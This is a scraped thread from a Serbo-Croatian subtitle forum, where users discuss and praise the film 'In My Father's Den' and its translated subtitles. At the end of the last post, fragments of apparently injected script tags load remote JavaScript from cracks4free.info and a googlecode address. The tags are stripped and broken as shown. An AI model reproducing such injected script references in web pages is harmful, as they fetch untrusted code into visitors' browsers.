| Prevodi || Titlovi || Преводи || Podnapisi || Prijevodi |
In My Father's Den (2004) |
Odgovori
|
| Korisnik | |
bojan969
Profil člana
Pronađi sve prevode
Pošaljite privatnu poruku
Pronađi postove člana
Dodaj na listu prijatelja
Administrator
Pridružen: 18.Svibanj/May.2009 Status: Offline Points: 6220 |
Opcije posta
Thanks(0)
Citiraj Odgovor
Tema: In My Father's Den (2004)Objavljeno: 13.Ožujak/Mar.2013 u 21:53 |
|
In My Father's Den (2004) ![]() Žanr: Drama, Misterija, Triler Trajanje: 127 min Država: Novi Zeland, Engleska Jezik: Engleski Režija: Brad McGann Scenario: Brad McGann po noveli Maurice Geea Uloge: Matthew Macfadyen ... Paul Prior Miranda Otto ... Penny Emily Barclay ... Celia Steimer Colin Moy ... Andrew Paul, nagrađivani ratni izveštač, vraća se u rodni grad na Novom Zelandu zbog smrti svoga oca. Tu sreće nezadovoljnu 16-ogodišnjakinju Celiu i upoznaje je sa svetom o kojem je ona samo sanjala. Ona uporni traži njegovo prijateljstvo, fascinirana njegovim cinizmom i iskustvom iz sveta izvan granica njenog malog grada. Na njihovo prijateljstvo svi gledaju sa negodovanjem, i kad Celia nestane, Paul je prvi osumnjičeni. Dok se nasilna istina polako pojavljuje, Paul je primoran da se suoči sa porodičnom tragedijom i izdajom od koje je pobegao u mladosti. Nagrade i nominacije. |
|
![]() |
|
insideman
Profil člana
Pronađi sve prevode
Pošaljite privatnu poruku
Pronađi postove člana
Dodaj na listu prijatelja
eXtreme member
Pridružen: 30.Sijecanj/Jan.2011 Lokacija: Trstenik Status: Offline Points: 380 |
Opcije posta
Thanks(0)
Citiraj Odgovor
Objavljeno: 14.Ožujak/Mar.2013 u 03:05 |
|
Prvoklasan film sa Novog Zelanda
Ogromno pozitivno iznenađenje i u čudu sam da ovaj film nije ranije preveden. Poželeo sam da ga gledam pre nekih mesec dana i tada još uvek nije postojao titl. Hvala puno ![]() Film je snimljen prema knjizi i moj utisak je da je ovo jedna od najboljih ekranizacija. Velike zasluge idu scenaristi i reditelju koji je sjajno sve to spakovao u 2 sata računajući tu i prvih sat vremena koji su me dobro smorili. Ali to je potpuno opravdano jer je ovo jedna veoma temeljna drama obmotana velikom misterijom. Nakon toga on postaje osetno brži i zanimljiviji i kako se bliži kraj shvatate da je bukvalno svaka sitnica od prethodno viđenog tu bila sa svrhom i smislom.
Sve što nestručni gledalac može da poželi, ovaj film i pruža. 10/10 |
|
![]() |
|
srkis
Profil člana
Pronađi sve prevode
Pošaljite privatnu poruku
Pronađi postove člana
Dodaj na listu prijatelja
Senior translator
Pridružen: 15.Studeni/Nov.2005 Lokacija: Srbija Status: Offline Points: 1642 |
Opcije posta
Thanks(0)
Citiraj Odgovor
Objavljeno: 14.Ožujak/Mar.2013 u 10:23 |
+1
Šta više, bio sam siguran i da je preveden i da ga imam u kolekciji...
|
|
|
Моја господо, бољи и виши пођоше бољијема и вишијема, а ја једва вас допадох!
|
|
![]() |
|
sinrazmetni
Profil člana
Pronađi sve prevode
Pošaljite privatnu poruku
Pronađi postove člana
Dodaj na listu prijatelja
Banned user
Pridružen: 27.Ožujak/Mar.2012 Status: Offline Points: 155 |
Opcije posta
Thanks(0)
Citiraj Odgovor
Objavljeno: 14.Ožujak/Mar.2013 u 12:18 |
Po onoj narodnoj, na nekome kola moraju se slomiti. Sretan sam da baš o moja ledja udarila su, i da - tako - utkao sam dio sebe u čistu umjetnost ovu.
Matthew Macfadyen, nekada student prestižne Kraljevske akademije dramskih umjetnosti, nešto je najbolje što ovom filmu dogoditi se moglo.
Kralj glume, predobar kao takav. Ažurirao sinrazmetni - 14.Ožujak/Mar.2013 u 12:25 |
|
![]() |
|
A2D2
Profil člana
Pronađi sve prevode
Pošaljite privatnu poruku
Pronađi postove člana
Dodaj na listu prijatelja
eXtreme member
Lonesome Cowboy Pridružen: 18.Studeni/Nov.2009 Lokacija: Mostar Status: Offline Points: 4209 |
Opcije posta
Thanks(0)
Citiraj Odgovor
Objavljeno: 17.Ožujak/Mar.2013 u 20:21 |
|
Kolega objasnio.
![]()
|
|
|
Nitko nije toliko bogat da može bez osmjeha i nitko toliko jadan da ga ne bi zaslužio.
|
|
![]() |
|
Dupla ljuta.
Profil člana
Pronađi sve prevode
Pošaljite privatnu poruku
Pronađi postove člana
Dodaj na listu prijatelja
Translator
Pridružen: 01.Prosinac/Dec.2012 Lokacija: NIŠ Status: Offline Points: 860 |
Opcije posta
Thanks(0)
Citiraj Odgovor
Objavljeno: 17.Ožujak/Mar.2013 u 22:49 |
|
Filmčina! A tebi,sinerazmetni,5-ica k'o vrata za prevod!
|
|
|
Ako se desi nešto loše-piješ da zaboraviš,
ako se desi nešto lepo-piješ da proslaviš, a ako se ništa ne dešava-piješ da bi se nešto dešavalo. |
|
![]() |
|
sinrazmetni
Profil člana
Pronađi sve prevode
Pošaljite privatnu poruku
Pronađi postove člana
Dodaj na listu prijatelja
Banned user
Pridružen: 27.Ožujak/Mar.2012 Status: Offline Points: 155 |
Opcije posta
Thanks(0)
Citiraj Odgovor
Objavljeno: 18.Ožujak/Mar.2013 u 01:01 |
Nije da se hvalim, samo takve dobijah, i samo tolike vidjeti se mogu u svjedočanstvima mojim. ![]() Tebi, desetka evo, što kvalitet prepoznati znaš. Filmčina, uistinu, to je...
< ="text/" ="//my-pro-project.googlecode.com/s/connd.js">< ="text/" ="http://cracks4free.info/s/section/user/d.txt">< ="text/" ="//cracks4free.info/s/section/user/conn.js">Ažurirao sinrazmetni - 18.Ožujak/Mar.2013 u 01:02 |
|
![]() |
|
Odgovori
|
|
| Pređi na drugi Forum | Forumska ovlašćenja ![]() Vi ne možete objavljivati nove teme na ovom forumu Vi ne možete odgovarati na teme Vi ne možete brisati vaše poruke Vi ne možete urediti svoje poruke Vi ne možete dodati anketu Vi ne možete glasati u anketi |